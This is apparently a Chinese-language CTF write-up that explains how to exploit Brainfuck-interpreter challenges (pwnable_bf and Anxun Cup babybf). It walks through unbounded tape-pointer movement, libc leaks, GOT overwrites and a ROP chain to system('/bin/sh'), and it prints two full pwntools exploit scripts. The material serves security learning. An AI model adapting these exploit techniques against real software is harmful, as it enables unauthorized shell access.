最近在强网拟态和安洵杯上都出现了bf解释器的题,自己还是头一回见,在此学习一下。
Brainfuck,简称BF,是一种极小化的程序语言
pwnable_bf
首先看一道pwnable_bf(buu和pwnable.kr上都有)
其主函数中全局变量p指向全局变量tape的地址,输入一段字符后就让每个字符进入do_brainfuck函数:
在do_brainfuck函数中就是对指针p的操作,每一个字符实际上就对应了bf解释器的操作;漏洞也很明显,就是指针p对应tape的地址的变化没有做出限制,这就让指针p指向got表:
泄漏地址libc地址后可以继续使用的就只有putchar函数和getchar函数,由于对got表的读写都只能是一字节,getchar函数对自己的got表修改到一半就会先失效,所以只能修改putchar函数的got表;而putchar函数的参数只能是一个字节,无法完成”/bin/sh”的调用,所以修改putchar函数为_start、memset函数为gets函数、fgets函数为system函数即可。
完整的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from pwn import* elf = ELF('bf')
libc = ELF('libc-2.23.so')
p = remote('node4.buuoj.cn', 25595) context.log_level = 'debug'
def getchar(gadget): l = len(gadget) gadget = int.from_bytes(gadget, byteorder='little', signed=True) for i in range(l): t = gadget & 0xff gadget = gadget >> 8 p.send(p8(t))
payload = b'<' * 0x7c + b'.>' * 4 payload += b'<' * 24 + b',>' * 4 payload += b'>' * 24 + b',>' * 8 payload += b'.' p.sendlineafter(b'[ ]', payload) leak = u32(p.recvuntil(b'\xf7')[-4:])
libcbase = leak - libc.sym['__libc_start_main'] sys_addr = libcbase + libc.sym['system'] gets = libcbase + libc.sym['gets']
getchar(p32(sys_addr)) getchar(p32(gets)) getchar(p32(0x80484e0))
p.sendline(b'/bin/sh\x00') p.interactive()
|
安洵杯babybf
本地环境:2.27-3ubuntu1.6_amd64
安洵杯的这道题很抽象
v3数组
函数sub_142F的开头就是一些函数赋值给v3数组,这些函数直接去看是完全不知道其意义,所以边调试边去阅读可以很好得帮助理解。
函数栈的排布如下:
这里以函数sub_16F6为例子
rbp-0A8中的值(0x7ffc6a1b48d0)加1
rbp-0B0中的值(0x562b3853e261)加1
eax赋上地址0x562b3853e261中的值(1字节)
mov rax, [rbp+rax*8-80h] (rax赋上v3数组的函数地址,rax = v3[rax])
jmp rax
再对照函数sub_16F6伪代码就可以知道函数的作用了

实际上rbp-0A8就是bf解释器的指针,rbp-0B0中储存着下一指令,所以这些函数作用如下:
字符转化
这道题并没有直接给你"> < , ." 这些字符,而是在你输入一段字符后,又去使用dword_2020数组进行一步转化
dword_2020数组部分内容如下:
规律如下:[输入的值(ascii码)=>转化后的值]
[0=>8][1=>9][43=>2][44=>5][45=>3][46=>4][60=>0][62=>1][91=>6][93=>7]
输入的值是字符,在内存中以ascii码储存,转化后的值又是对应v3数组中的引索。
例如字符'>'的ascii码为62,转化后的值为1,最后对应v3[1]中函数的执行。
漏洞利用
虽然这道题不像pwnable_bf中很直接给出bf解释器的操作,但是经过一系列转化后也同样达到了bf解释器的效果。
操作的指针是rbp-0A8,其里面的值也是栈上的值,也就是可以对栈上任意值读写,所以泄漏__libc_start_main函数地址后直接ROP
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from pwn import* elf = ELF('chall') libc = elf.libc p = process('./chall')
def getchar(gadget): l = len(gadget) gadget = int.from_bytes(gadget, byteorder='little', signed=True) for i in range(l): t = gadget & 0xff gadget = gadget >> 8 p.send(p8(t))
p.sendlineafter(b'len>', str(0x100).encode()) payload = b'>' * 0x58 + (b'.' + b'>') * 8 + b'<' * 0x28 + (b',' + b'>') * 0x20 p.sendafter(b'code>', payload) leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libcbase = leak - 231 - libc.sym['__libc_start_main'] sys_addr = libcbase + libc.sym['system'] bin_sh = libcbase + libc.search(b'/bin/sh\x00').__next__() pop_rdi = libcbase + 0x2164f ret = libcbase + 0x8aa
payload = p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(sys_addr) getchar(payload)
p.interactive()
|
强网拟态bfbf
强网拟态2022pwn - xtxtn’s Blog
参考:Brainfuck - 维基百科,自由的百科全书 (wikipedia.org)